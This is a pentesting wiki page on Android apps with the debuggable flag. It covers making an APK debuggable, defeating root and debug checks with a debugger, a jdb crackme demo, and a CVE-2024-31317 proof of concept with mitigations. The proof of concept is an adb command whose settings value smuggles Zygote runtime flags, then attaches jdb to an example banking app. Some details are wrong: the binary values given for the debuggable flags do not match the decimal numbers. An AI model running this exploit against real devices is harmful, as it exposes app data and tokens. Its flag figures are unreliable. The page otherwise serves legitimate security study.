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130 lines
8.2 KiB
Markdown
130 lines
8.2 KiB
Markdown
# Exploiting a debuggeable application
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{{#include ../../banners/hacktricks-training.md}}
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# **Bypassing root and debuggeable checks**
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This section of the post is a summary from the post [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
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## Steps to Make an Android App Debuggable and Bypass Checks
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### **Making the App Debuggable**
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Content based on https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
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1. **Decompile the APK:**
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- Utilize the APK-GUI tool for decompiling the APK.
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- In the _android-manifest_ file, insert `android:debuggable="true"` to enable debugging mode.
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- Recompile, sign, and zipalign the modified application.
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2. **Install the Modified Application:**
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- Use the command: `adb install <application_name>`.
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3. **Retrieve the Package Name:**
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- Execute `adb shell pm list packages –3` to list third-party applications and find the package name.
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4. **Set the App to Await Debugger Connection:**
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- Command: `adb shell am setup-debug-app –w <package_name>`.
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- **Note:** This command must be run each time before starting the application to ensure it waits for the debugger.
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- For persistence, use `adb shell am setup-debug-app –w ––persistent <package_name>`.
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- To remove all flags, use `adb shell am clear-debug-app <package_name>`.
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5. **Prepare for Debugging in Android Studio:**
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- Navigate in Android Studio to _File -> Open Profile or APK_.
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- Open the recompiled APK.
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6. **Set Breakpoints in Key Java Files:**
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- Place breakpoints in `MainActivity.java` (specifically in the `onCreate` method), `b.java`, and `ContextWrapper.java`.
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### **Bypassing Checks**
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The application, at certain points, will verify if it is debuggable and will also check for binaries indicating a rooted device. The debugger can be used to modify app info, unset the debuggable bit, and alter the names of searched binaries to bypass these checks.
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For the debuggable check:
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1. **Modify Flag Settings:**
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- In the debugger console's variable section, navigate to: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
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- **Note:** The binary representation of `flags = 814267974` is `11000011100111011110`, indicating that the "Flag_debuggable" is active.
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These steps collectively ensure that the application can be debugged and that certain security checks can be bypassed using the debugger, facilitating a more in-depth analysis or modification of the application's behavior.
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Step 2 involves changing a flag value to 814267972, which is represented in binary as 110000101101000000100010100.
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# **Exploiting a Vulnerability**
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A demonstration was provided using a vulnerable application containing a button and a textview. Initially, the application displays "Crack Me". The aim is to alter the message from "Try Again" to "Hacked" at runtime, without modifying the source code.
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## **Checking for Vulnerability**
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- The application was decompiled using `apktool` to access the `AndroidManifest.xml` file.
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- The presence of `android_debuggable="true"` in the AndroidManifest.xml indicates the application is debuggable and susceptible to exploitation.
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- It's worth noting that `apktool` is employed solely to check the debuggable status without altering any code.
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## **Preparing the Setup**
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- The process involved initiating an emulator, installing the vulnerable application, and using `adb jdwp` to identify Dalvik VM ports that are listening.
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- The JDWP (Java Debug Wire Protocol) allows debugging of an application running in a VM by exposing a unique port.
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- Port forwarding was necessary for remote debugging, followed by attaching JDB to the target application.
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## **Injecting Code at Runtime**
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- The exploitation was carried out by setting breakpoints and controlling the application flow.
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- Commands like `classes` and `methods <class_name>` were used to uncover the application’s structure.
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- A breakpoint was set at the `onClick` method, and its execution was controlled.
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- The `locals`, `next`, and `set` commands were utilized to inspect and modify local variables, particularly changing the "Try Again" message to "Hacked".
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- The modified code was executed using the `run` command, successfully altering the application’s output in real-time.
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This example demonstrated how the behavior of a debuggable application can be manipulated, highlighting the potential for more complex exploits like gaining shell access on the device in the application's context.
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---
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# 2024 – Turning **any** application into a debuggable process (CVE-2024-31317)
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Even if the target APK is _not_ shipped with the `android:debuggable` flag, recent research showed that it is possible to force **arbitrary applications** to start with the `DEBUG_ENABLE_JDWP` runtime flag by abusing the way Zygote parses command-line arguments.
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* **Vulnerability:** Improper validation of `--runtime-flags` supplied through Zygote’s command socket allows an attacker that can reach `system_server` (for example via the privileged `adb` shell which owns the `WRITE_SECURE_SETTINGS` permission) to inject extra parameters. When the crafted command is replayed by `system_server`, the victim app is forked as _debuggable_ and with a JDWP thread listening. The issue is tracked as **CVE-2024-31317** and was fixed in the June 2024 Android Security Bulletin.
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* **Impact:** Full read/write access to the private data directory of **any** app (including privileged ones such as `com.android.settings`), token theft, MDM bypass, and in many cases a direct path to privilege-escalation by abusing exported IPC endpoints of the now-debuggable process.
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* **Affected versions:** Android 9 through 14 prior to the June 2024 patch level.
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## Quick PoC
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```bash
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# Requires: adb shell (device must be <2024-06-01 patch-level)
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# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
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adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
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# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
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adb shell monkey -p com.victim.bank 1
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# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
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adb jdwp # obtain the PID
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adb forward tcp:8700 jdwp:<pid>
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jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
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```
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> The crafted value in step 1 breaks the parser out of the “fast-path” and appends a second synthetic command where `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) is accepted as if it had been supplied by the framework. Once the app is spawned, a JDWP socket is opened and regular dynamic-debug tricks (method replacement, variable patching, live Frida injection, etc.) are possible **without modifying the APK or the device boot image**.
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## Detection & Mitigation
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* Patch to **2024-06-01** (or later) security level – Google hardened `ZygoteCommandBuffer` so that subsequent commands cannot be smuggled in this way.
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* Restrict `WRITE_SECURE_SETTINGS` / `shell` access on production devices. The exploit requires this permission, which is normally only held by ADB or OEM-privileged apps.
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* On EMM/MDM-managed fleets, enforce `ro.debuggable=0` and deny shell via `adb disable-verifier`.
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---
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## References
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- [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
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- [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
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- [https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html)
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- [https://blog.flanker017.me/cve-2024-31317/](https://blog.flanker017.me/cve-2024-31317/)
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